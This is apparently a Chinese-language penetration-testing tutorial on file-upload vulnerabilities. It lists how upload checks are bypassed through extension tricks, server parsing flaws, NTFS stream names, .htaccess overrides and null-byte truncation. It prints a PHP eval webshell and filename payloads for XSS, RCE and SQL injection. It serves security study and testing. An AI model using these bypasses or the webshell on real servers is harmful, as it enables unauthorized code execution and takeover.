漏洞原理
由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致攻击者能够向某个可通过Web访问的目录上传恶意文件,并被脚本解析器执行,这样就可以在远程服务器上执行恶意脚本。
限制机制
常见的文件上传限制方式
- 客户端JavaScript校验(一般只校验后缀名)
- 服务端Content-Type字段校验(image/gif等)
- 文件内容头校验(GIF89a等)
- 后缀名黑/白名单校验
- 自定义正则校验
客户端JavaScript校验
原理:一般都是网页上写一段JS脚本,校验上传文件的后缀名,有黑白名单形式。
判断方式:在浏览器加载文件,但还未点击上传按钮时便弹出对话框,(内容如:只允许上传.jpg/.jpeg/.png后缀名的文件),而此时并没有发送数据包。
应对方式:客户端校验通过拦截修改数据包即可绕过。
服务端Content-type字段校验
<?php
if($_FILES[‘userfile‘][‘type‘] != "image/gif") # 这里做了判断,如果不是image/gif类型则返回错误。
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = ‘uploads/‘;
$uploadfile = $uploaddir.basename($_FILES[‘userfile‘][‘name‘]);
if (move_uplaoded_file($_FILES[‘userfile‘][‘tmp_name‘],$uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
服务端文件内容头校验
可以通过自己写正则匹配,判断文件头内容是否符合要求,这里举几个常见的文件头对应的关系
.JPEG;.JPE;.JPG: "JPGGraphic File"
.gif: "GIF 89A"
.zip: "Zip Compressed"
.doc;.xls;.xlt;.ppt;.apr: "MS Compound Document v1 or Lotus Approach APRfile"
绕过技巧
修改Content-Type
文件头绕过
在木马内容的基础上再加了一些信息,如:GIF89a
将恶意文本写入图片的二进制码
copy xx.jpg/b + yy.txt/a xy.jpg
/b 二进制模式
/a ascii模式
文件后缀绕过
白名单不能绕过、黑名单则可以。
- 可以尝试大小写,比如使用pHp代替php。
- 特殊后缀名(不常用,但是可以被解析的后缀)
- ASP:
.asa .cer .cdx
- PHP:
.php3 .php4 .php5
- .NET:
.ashx
- ASP:
- 如果上传php文件,上传成功,但是后缀变成了gif;上传test.php3变成了test.3可以尝试test.pphphp进行绕过。
解析漏洞绕过
- IIS
- 6.0版本将a.asp;xx.jpg解析成asp,原因是被;符号截断了。还存在一个目录解析,会将
a.asp/
目录下文件全部解析成asp文件,前提是本地确实存在这样的文件或环境 - 7.5版本之中
xyz.jpg/.php
会被解析成php文件
- 6.0版本将a.asp;xx.jpg解析成asp,原因是被;符号截断了。还存在一个目录解析,会将
- Apache
- webshell.php.XXA.XXB解析成php文件。因为MIME Types配置里没有XXA或XXB文件类型,不认识就往前遍历(1.x,2.x)
- 还有个关于AddType和AddHandler的配置问题,AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME Types指明了包含Extension扩展名的文件的媒体类型。而AddHandler指令的作用是在文件扩展名与特定的处理器之间建立映射。比如
AddHandler php5-script .php
就是指定扩展名为.php
的文件应被php5-script
处理器来处理。AddType是与类型表相关的,描述的是扩展名与文件类型之间的关系。AddHandler说明什么样的扩展名使用什么样的程序来处理,描述的是扩展名与处理程序之间的关系。AddType中application/x-httpd-php .jpg
后缀名jpg文件会被当成php解析,而AddHandler php5-script .jpg
的话,只要文件名中包含.jpg
字符串就会被当成php解析。
- Nginx
- 在php配置为
fast_cgi
的应用中,由于pathinfo模式的开启,在映射URI的时候,如果是解析XXX/111.jpg/222.php
,111.jpg会被当做php文件解析
- 在php配置为
配合操作系统命名规则
上传不符合规则的,会被操作系统自动去掉。
上传不符合Windows文件命名规则的文件名,会被Windows系统自动去掉不符合规则符号后面的内容。
test.asp.
test.asp(space)
test.php:1.jpg
test.php::$DATA
test.php::$DATA......
PHP邂逅Windows
在PHP+Windows+IIS环境中,此方法只能用于覆盖已知文件。
双引号(") <==> 点号(.)
大于号(>) <==> 问号(?)
小于号(<) <==> 星号(*)
此特性略显鸡肋,原因如下
- 一般上传文件的目录我们不可控;
- 上传文件的目录下,一般不会存在我们需要的PHP文件。
但是有个思路,首先利用各种办法生成一个PHP文件,再利用这个特性去覆盖。有个点需要注意的是,冒号截断(test.php:jpg
)产生的文件是空白的,接下来再使用这个方法向PHP文件中写代码就好。
利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果WAF对请求对正文的filename匹配不当的话可能会导致绕过。
上传的文件名 | 服务器表面现象 | 生成的文件内容 |
---|---|---|
test.php:a.jpg | 生成test.php | 空 |
test.php::$DATA | 生成test.php | \<?php phpinfo();?> |
test.php::$INDEX_ALLOCATION | 生成test.php文件夹 | |
test.php::$DATA.jpg | 生成0.jpg | \<?php phpinfo();?> |
test.php::$DATA\aaa.jpg | 生成aaa.jpg | \<?php phpinfo();?> |
长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合其他特性。
test.asp;你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好.jpg
分布式配置文件(文件重写.htaccess
)
.htaccess文件提供了针对目录改变配置的方法,即,在一个特定的文档目录放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。用户可以利用此文件定义解析文件的后缀,从而进行利用。
建立.htaccess,内容如下
<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>
上传PHP木马文件名包含cimer,比如cimertest
<?php @eval($_POST[‘cimer‘]);?>
然后使用菜刀连接,配置如下,成功获取权限
0x00截断(目录路径检测)
目录路径检测一般就是检测上传的路径是否合法,一旦程序员在写程序的时候对文件的上传路径过滤不严格就很有可能产生0x00上传截断漏洞。
假设上传的路径为http://xx.xx.xx.xx/upfiles/one.php.gif
,通过抓包截断将one.php后面的.
换成0x00
,当上传的时候,当文件系统读到0x00的时候,会认为文件已经结束,从而将one.php.gif中的内容写入到one.php,从而达到攻击目的。
挖洞技巧
流程
- 尽可能多的找出网站存在的上传点
- 尝试使用如上各种绕过方法
- 尝试getshell
- 无法上传webshell的情况下:
- 尝试上传html等,或可造成存储XSS漏洞
- 上传点构造XSS等,结合上传后的页面显示,或可形成XSS漏洞
可能引发其他类型的漏洞
上传点反射XSS
filename="x<svg+onload=alert(/x/)>111.png"
上传点RCE
filename="x.png‘xor(phpinfo())or‘"
上传点SQL注入
filename="poc.js‘+(select*from(select(sleep(10)))a)+‘.pdf"